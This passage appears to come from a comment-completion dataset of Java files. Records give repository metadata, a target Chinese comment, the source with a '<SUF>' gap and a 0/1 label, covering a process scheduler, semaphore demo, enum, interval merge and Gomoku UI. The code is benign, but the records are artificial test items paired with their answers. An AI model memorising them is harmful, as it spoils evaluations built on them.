Process readyProcess = readyQueue.getProcess(); if (readyProcess == null) { // 就绪队列为空时,CPU正在运行的只有init进程 pcb.getCurrentProcess().setState(Process.State.RUNNING);// 状态设为运行状态 return; } else if (currentProcess == null) { // 实际上,此处只有在刚初始化系统时才可能发生 readyQueue.removeProcess(readyProcess); pcb.setCurrentProcess(readyProcess); readyProcess.setState(Process.State.RUNNING); return; } else if (currentProcess.getState() == Process.State.BLOCKED || currentProcess.getState() == Process.State.TERMINATED) { //当前进程被阻塞或者已经被终止 readyQueue.removeProcess(readyProcess); // 从就绪队列取出一个就绪进程 pcb.setCurrentProcess(readyProcess); // 将该进程设为当前运行的进程 readyProcess.setState(Process.State.RUNNING); // 该进程状态设为运行状态 } else if (currentProcess.getState() == Process.State.RUNNING) { // 新创建了进程,或者阻塞队列中进程转移到readyList if (currentProcess.getPriority() < readyProcess.getPriority()) { // 若就绪进程优先级更高,则切换进程 preempt(readyProcess, currentProcess); } } else if (currentProcess.getState() == Process.State.READY) { // 时间片完的情况 if (currentProcess.getPriority() <= readyProcess.getPriority()) { // 若有优先级大于或等于当前进程的就绪进程,则切换进程 preempt(readyProcess, currentProcess); } else { // 如果没有高优先级的就绪进程,则当前进程依然继续运行 currentProcess.setState(Process.State.RUNNING); } } return; } // 进程切换 public static void preempt(Process readyProcess, Process currentProcess) { if (exsitName(currentProcess.getProcessName())) { readyQueue.addProcess(currentProcess); // 将当前进程加入就绪队列中 currentProcess.setState(Process.State.READY); // 将进程状态置为就绪状态 readyQueue.removeProcess(readyProcess); // 从就绪队列取出一个就绪进程 pcb.setCurrentProcess(readyProcess);// 将该进程设为当前运行的进程 readyProcess.setState(Process.State.RUNNING);// 该进程状态设为运行状态 return; } } // 时间片轮转(RR),时间片完后切换进程 public static void timeout() { pcb.getCurrentProcess().setState(Process.State.READY); // 时间片完直接将当前运行进程置为就绪状态 scheduler(); // 调度 } // 从existProcess队列中删除进程 public void killProcess(Process process) { String name = process.getProcessName(); existProcesses.remove(name); } // 递归打印进程树信息 public void printProcessTree(Process process, int retract) { for (int i = 0; i < retract; i++) { System.out.print(" "); } // System.out.println("|-" + process.getProcessName() + "(进程状态:" + process.getState() + ",优先级:" + process.getPriority() + ")"); System.out.print("|-"); printProcessDetail(process); List<Process> children = process.getChildren(); // 获取子进程 for (int i = 0; i < children.size(); i++) { Process child = children.get(i); printProcessTree(child, retract + 1); // 递归打印子树的进程树信息 } } // 输出进程的详细信息 public void printProcessDetail(Process process) { System.out.print(process.getProcessName() + "(PID:" + process.getPID() + ",进程状态:" + process.getState() + ",优先级:" + process.getPriority() + ","); if (process.getResourceMap().isEmpty()) { // 判断有无资源占用 System.out.println("(无资源占用))"); } else { StringBuilder sb = new StringBuilder(); sb.append("("); for (Map.Entry<Resource, Integer> entry : process.getResourceMap().entrySet()) { Resource res = entry.getKey(); int holdNum = entry.getValue(); sb.append(",").append("R").append(res.getRID()).append(":").append(holdNum); } sb.append(")"); String result = sb.toString(); System.out.println(result.replaceFirst(",", "")); } } // // 打印existProcess的信息,主要是方便测试 // public void printExistProcess() { // StringBuilder sb = new StringBuilder(); // sb.append("existList:["); // for (Map.Entry<String, Process> entry : existProcesses.entrySet()) { // String name = entry.getKey(); // String state = entry.getValue().getState().toString(); // sb.append(",").append(name) // .append("(").append(state).append(")"); // } // sb.append("]"); // String result = sb.toString(); // System.out.println(result.replaceFirst(",", "")); // } }
Eternity-Myth/Operating-System-Experiment
src/PCB.java
1,951
// 递归打印进程树信息
line_comment
zh-cn
import java.util.*; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.atomic.AtomicInteger; /** * PCB(进程管理块)类,用于进程的管理 */ public class PCB { private static final PCB pcb = new PCB();// 单例设计模式-饿汉式 private static final Queue readyQueue = Queue.getReadyQueue(); //生成就绪队列 public static PCB getPCB() { return pcb; } private static Map<String, Process> existProcesses;// 所有存活的进程,包括Running(运行状态),Blocked(阻塞状态),Ready(就绪状态) private Process currentProcess;// 当前占用CPU的进程 private AtomicInteger pidGenerator;// pid生成器,用以生成唯一的pid private PCB() { existProcesses = new HashMap<>(); pidGenerator = new AtomicInteger(); } public Process getCurrentProcess() { return currentProcess; } public void setCurrentProcess(Process currentProcess) { this.currentProcess = currentProcess; } // 生成PID号(以自增方式生成保证不重复) public int generatePID() { return pidGenerator.getAndIncrement(); } // 每个进程一经创建,便会调用该方法,将其放在ExistList中 public void addExistList(Process process) { existProcesses.put(process.getProcessName(), process); } // 创建新进程 public Process createProcess(String processName, int priority) { Process currentProcess = pcb.getCurrentProcess(); // 为新建进程分配PID,进程名,优先级,进程状态,资源,父进程和子进程信息等 Process process = new Process(pcb.generatePID(), processName, priority, Process.State.NEW, new ConcurrentHashMap<>(), currentProcess, new LinkedList<>()); if (currentProcess != null) { // 排除创建的进程为第一个进程的特殊情况 currentProcess.getChildren().add(process);// 新创建进程作为当前进程的子进程 process.setParent(currentProcess); // 旧进程作为新创建进程的父进程 } pcb.addExistList(process); // 将新创建的进程放在ExistList中 readyQueue.addProcess(process);// 将新创建的进程放入就绪队列中 process.setState(Process.State.READY); // 成功进入就绪队列的进程,其状态将置为就绪状态 PCB.scheduler(); // 调度 return process; } // 主要用于判断用户输入的进程名称是否合法,因为name对用户来说是进程唯一标识 public static boolean exsitName(String name) { return existProcesses.containsKey(name); } // 通过进程名称在existList里面找到进程,返回对进程的引用。若无,则返回null public Process findProcess(String processName) { for (Map.Entry<String, Process> entry : existProcesses.entrySet()) { String name = entry.getKey(); if (processName.equals(name)) { return entry.getValue(); } } return null; } // 进程调度 public static void scheduler() { Process currentProcess = pcb.getCurrentProcess(); Process readyProcess = readyQueue.getProcess(); if (readyProcess == null) { // 就绪队列为空时,CPU正在运行的只有init进程 pcb.getCurrentProcess().setState(Process.State.RUNNING);// 状态设为运行状态 return; } else if (currentProcess == null) { // 实际上,此处只有在刚初始化系统时才可能发生 readyQueue.removeProcess(readyProcess); pcb.setCurrentProcess(readyProcess); readyProcess.setState(Process.State.RUNNING); return; } else if (currentProcess.getState() == Process.State.BLOCKED || currentProcess.getState() == Process.State.TERMINATED) { //当前进程被阻塞或者已经被终止 readyQueue.removeProcess(readyProcess); // 从就绪队列取出一个就绪进程 pcb.setCurrentProcess(readyProcess); // 将该进程设为当前运行的进程 readyProcess.setState(Process.State.RUNNING); // 该进程状态设为运行状态 } else if (currentProcess.getState() == Process.State.RUNNING) { // 新创建了进程,或者阻塞队列中进程转移到readyList if (currentProcess.getPriority() < readyProcess.getPriority()) { // 若就绪进程优先级更高,则切换进程 preempt(readyProcess, currentProcess); } } else if (currentProcess.getState() == Process.State.READY) { // 时间片完的情况 if (currentProcess.getPriority() <= readyProcess.getPriority()) { // 若有优先级大于或等于当前进程的就绪进程,则切换进程 preempt(readyProcess, currentProcess); } else { // 如果没有高优先级的就绪进程,则当前进程依然继续运行 currentProcess.setState(Process.State.RUNNING); } } return; } // 进程切换 public static void preempt(Process readyProcess, Process currentProcess) { if (exsitName(currentProcess.getProcessName())) { readyQueue.addProcess(currentProcess); // 将当前进程加入就绪队列中 currentProcess.setState(Process.State.READY); // 将进程状态置为就绪状态 readyQueue.removeProcess(readyProcess); // 从就绪队列取出一个就绪进程 pcb.setCurrentProcess(readyProcess);// 将该进程设为当前运行的进程 readyProcess.setState(Process.State.RUNNING);// 该进程状态设为运行状态 return; } } // 时间片轮转(RR),时间片完后切换进程 public static void timeout() { pcb.getCurrentProcess().setState(Process.State.READY); // 时间片完直接将当前运行进程置为就绪状态 scheduler(); // 调度 } // 从existProcess队列中删除进程 public void killProcess(Process process) { String name = process.getProcessName(); existProcesses.remove(name); } // 递归 <SUF> public void printProcessTree(Process process, int retract) { for (int i = 0; i < retract; i++) { System.out.print(" "); } // System.out.println("|-" + process.getProcessName() + "(进程状态:" + process.getState() + ",优先级:" + process.getPriority() + ")"); System.out.print("|-"); printProcessDetail(process); List<Process> children = process.getChildren(); // 获取子进程 for (int i = 0; i < children.size(); i++) { Process child = children.get(i); printProcessTree(child, retract + 1); // 递归打印子树的进程树信息 } } // 输出进程的详细信息 public void printProcessDetail(Process process) { System.out.print(process.getProcessName() + "(PID:" + process.getPID() + ",进程状态:" + process.getState() + ",优先级:" + process.getPriority() + ","); if (process.getResourceMap().isEmpty()) { // 判断有无资源占用 System.out.println("(无资源占用))"); } else { StringBuilder sb = new StringBuilder(); sb.append("("); for (Map.Entry<Resource, Integer> entry : process.getResourceMap().entrySet()) { Resource res = entry.getKey(); int holdNum = entry.getValue(); sb.append(",").append("R").append(res.getRID()).append(":").append(holdNum); } sb.append(")"); String result = sb.toString(); System.out.println(result.replaceFirst(",", "")); } } // // 打印existProcess的信息,主要是方便测试 // public void printExistProcess() { // StringBuilder sb = new StringBuilder(); // sb.append("existList:["); // for (Map.Entry<String, Process> entry : existProcesses.entrySet()) { // String name = entry.getKey(); // String state = entry.getValue().getState().toString(); // sb.append(",").append(name) // .append("(").append(state).append(")"); // } // sb.append("]"); // String result = sb.toString(); // System.out.println(result.replaceFirst(",", "")); // } }
1
47478_1
package com.dcx.concurrency.dcxTest; //作者:卡巴拉的树 // 链接:https://juejin.im/post/5a38d2046fb9a045076fcb1f // 来源:掘金 // 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 //厕所 //种族 import java.util.Random; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Semaphore; import java.util.concurrent.TimeUnit; class Employee implements Runnable { private String id; private Semaphore semaphore; private static Random random = new Random(47); public Employee(String id, Semaphore semaphore) { this.id = id; this.semaphore = semaphore; } public void run() { try { semaphore.acquire(); System.out.println(this.id + "is using the toilet"); TimeUnit.MILLISECONDS.sleep(random.nextInt(2000)); semaphore.release(); System.out.println(this.id + "is leaving"); } catch (InterruptedException e) { } } } public class ToiletRace { private static final int THREAD_COUNT = 30; private static ExecutorService threadPool = Executors.newFixedThreadPool(THREAD_COUNT); // 10个坑位 控制并行度 private static Semaphore semaphore = new Semaphore(10); public static void main(String[] args) { for (int i = 0; i < THREAD_COUNT; i++) { threadPool.execute(new Employee(String.valueOf(i), semaphore)); } threadPool.shutdown(); } }
EthanDCX/High-concurrency
src/main/java/com/dcx/concurrency/dcxTest/ToiletRace.java
424
// 链接:https://juejin.im/post/5a38d2046fb9a045076fcb1f
line_comment
zh-cn
package com.dcx.concurrency.dcxTest; //作者:卡巴拉的树 // 链接 <SUF> // 来源:掘金 // 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 //厕所 //种族 import java.util.Random; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Semaphore; import java.util.concurrent.TimeUnit; class Employee implements Runnable { private String id; private Semaphore semaphore; private static Random random = new Random(47); public Employee(String id, Semaphore semaphore) { this.id = id; this.semaphore = semaphore; } public void run() { try { semaphore.acquire(); System.out.println(this.id + "is using the toilet"); TimeUnit.MILLISECONDS.sleep(random.nextInt(2000)); semaphore.release(); System.out.println(this.id + "is leaving"); } catch (InterruptedException e) { } } } public class ToiletRace { private static final int THREAD_COUNT = 30; private static ExecutorService threadPool = Executors.newFixedThreadPool(THREAD_COUNT); // 10个坑位 控制并行度 private static Semaphore semaphore = new Semaphore(10); public static void main(String[] args) { for (int i = 0; i < THREAD_COUNT; i++) { threadPool.execute(new Employee(String.valueOf(i), semaphore)); } threadPool.shutdown(); } }
0
8521_1
package com.itheima.enum_app.analyse; /** * 枚举其实本质上是一个类,每一个枚举项是本枚举类类型的一个对象。 * * 枚举类型也是属于类,允许定义其他成分,比如构造器,成员方法,成员变量等。但是定义的成分一定要在枚举项之后,而且最后一个枚举项必须要有分号结束。 */ public enum Sex { // 每一个枚举项都是枚举的对象 GIRL("女孩"), BOY("男孩"), YAO; // 成员变量 private String name; // 空参构造方法 private Sex() { } // 有参构造方法 private Sex(String name) { this.name = name; } // 成员方法 public String getName() { return name; } }
EthanLiu6/JavaCode_SE_Advance
oop-day02/src/com/itheima/enum_app/analyse/Sex.java
204
// 每一个枚举项都是枚举的对象
line_comment
zh-cn
package com.itheima.enum_app.analyse; /** * 枚举其实本质上是一个类,每一个枚举项是本枚举类类型的一个对象。 * * 枚举类型也是属于类,允许定义其他成分,比如构造器,成员方法,成员变量等。但是定义的成分一定要在枚举项之后,而且最后一个枚举项必须要有分号结束。 */ public enum Sex { // 每一 <SUF> GIRL("女孩"), BOY("男孩"), YAO; // 成员变量 private String name; // 空参构造方法 private Sex() { } // 有参构造方法 private Sex(String name) { this.name = name; } // 成员方法 public String getName() { return name; } }
1
28574_6
package TanXin; import java.util.*; /** * @description: * @author: wuboyu * @date: 2022-07-21 16:58 */ public class L56 { //56. 合并区间 //以数组 intervals 表示若干个区间的集合,其中单个区间为 intervals[i] = [starti, endi] 。请你合并所有重叠的区间,并返回 一个不重叠的区间数组,该数组需恰好覆盖输入中的所有区间 。 // // // //示例 1: // //输入:intervals = [[1,3],[2,6],[8,10],[15,18]] //输出:[[1,6],[8,10],[15,18]] //解释:区间 [1,3] 和 [2,6] 重叠, 将它们合并为 [1,6]. //示例 2: // //输入:intervals = [[1,4],[4,5]] //输出:[[1,5]] //解释:区间 [1,4] 和 [4,5] 可被视为重叠区间。 // // //提示: // //1 <= intervals.length <= 104 //intervals[i].length == 2 //0 <= starti <= endi <= 104 public int[][] merge(int[][] intervals) { //思路 //首先 按 左排序 //如果此区间的左>上一个的right 不合 //如果当前区间的左<=上一个的right 合并 Comparator<int[]> com=new Comparator<int[]>() { @Override public int compare(int[] o1, int[] o2) { return Integer.compare(o1[0],o2[0]); } }; Arrays.sort(intervals,com); LinkedList<int[]> answer=new LinkedList<>(); answer.add(intervals[0]); int lastright=intervals[0][1]; for(int i=1;i<intervals.length;i++){ if(intervals[i][0]<=lastright){ //合并 //当前区间的左区间 在上一个区间的右区间中 int[] temp=answer.getLast(); answer.removeLast(); temp[1]=Math.max(intervals[i][1],lastright); answer.add(temp); lastright=Math.max(intervals[i][1],lastright); }else { //不合并 answer.add(intervals[i]); lastright=intervals[i][1]; } } return answer.toArray(new int[answer.size()][]); } }
Etherstrings/Algorithm
src/TanXin/L56.java
639
//解释:区间 [1,3] 和 [2,6] 重叠, 将它们合并为 [1,6].
line_comment
zh-cn
package TanXin; import java.util.*; /** * @description: * @author: wuboyu * @date: 2022-07-21 16:58 */ public class L56 { //56. 合并区间 //以数组 intervals 表示若干个区间的集合,其中单个区间为 intervals[i] = [starti, endi] 。请你合并所有重叠的区间,并返回 一个不重叠的区间数组,该数组需恰好覆盖输入中的所有区间 。 // // // //示例 1: // //输入:intervals = [[1,3],[2,6],[8,10],[15,18]] //输出:[[1,6],[8,10],[15,18]] //解释 <SUF> //示例 2: // //输入:intervals = [[1,4],[4,5]] //输出:[[1,5]] //解释:区间 [1,4] 和 [4,5] 可被视为重叠区间。 // // //提示: // //1 <= intervals.length <= 104 //intervals[i].length == 2 //0 <= starti <= endi <= 104 public int[][] merge(int[][] intervals) { //思路 //首先 按 左排序 //如果此区间的左>上一个的right 不合 //如果当前区间的左<=上一个的right 合并 Comparator<int[]> com=new Comparator<int[]>() { @Override public int compare(int[] o1, int[] o2) { return Integer.compare(o1[0],o2[0]); } }; Arrays.sort(intervals,com); LinkedList<int[]> answer=new LinkedList<>(); answer.add(intervals[0]); int lastright=intervals[0][1]; for(int i=1;i<intervals.length;i++){ if(intervals[i][0]<=lastright){ //合并 //当前区间的左区间 在上一个区间的右区间中 int[] temp=answer.getLast(); answer.removeLast(); temp[1]=Math.max(intervals[i][1],lastright); answer.add(temp); lastright=Math.max(intervals[i][1],lastright); }else { //不合并 answer.add(intervals[i]); lastright=intervals[i][1]; } } return answer.toArray(new int[answer.size()][]); } }
0
45703_1
package gomoku; import javax.swing.*; import java.awt.*; public class UIControlPanel extends JPanel implements Config { public UIControlPanel(GomokuListener gl) { setBackground(new Color(240, 240, 240)); setPreferredSize(new Dimension(CONTROL_PANEL_WIDTH, FRAME_HEIGHT)); setLayout(new FlowLayout()); String[] buttons = {"开始/重新开始", "认输", "暂停", "恢复"};//功能按钮命令 for (String s : buttons) { JButton button = new JButton(s); button.setPreferredSize(new Dimension(120, 50)); add(button); button.addActionListener(gl); } String[] radioButtons = {"双人对战", "人机对战"};//单选按钮命令 ButtonGroup bg = new ButtonGroup(); for (int i = 0; i < radioButtons.length; i++) { JRadioButton radioButton = new JRadioButton(radioButtons[i]); bg.add(radioButton); radioButton.setPreferredSize(new Dimension(120, 50)); radioButton.setOpaque(false);//不透明 radioButton.setForeground(Color.BLACK);//前景色为黑 if (i == 0) {//默认选中第一个,即双人对战 radioButton.setSelected(true); } add(radioButton); radioButton.addActionListener(gl); } } }
Ethkuil/gomoku
src/gomoku/UIControlPanel.java
329
//单选按钮命令
line_comment
zh-cn
package gomoku; import javax.swing.*; import java.awt.*; public class UIControlPanel extends JPanel implements Config { public UIControlPanel(GomokuListener gl) { setBackground(new Color(240, 240, 240)); setPreferredSize(new Dimension(CONTROL_PANEL_WIDTH, FRAME_HEIGHT)); setLayout(new FlowLayout()); String[] buttons = {"开始/重新开始", "认输", "暂停", "恢复"};//功能按钮命令 for (String s : buttons) { JButton button = new JButton(s); button.setPreferredSize(new Dimension(120, 50)); add(button); button.addActionListener(gl); } String[] radioButtons = {"双人对战", "人机对战"};//单选 <SUF> ButtonGroup bg = new ButtonGroup(); for (int i = 0; i < radioButtons.length; i++) { JRadioButton radioButton = new JRadioButton(radioButtons[i]); bg.add(radioButton); radioButton.setPreferredSize(new Dimension(120, 50)); radioButton.setOpaque(false);//不透明 radioButton.setForeground(Color.BLACK);//前景色为黑 if (i == 0) {//默认选中第一个,即双人对战 radioButton.setSelected(true); } add(radioButton); radioButton.addActionListener(gl); } } }
1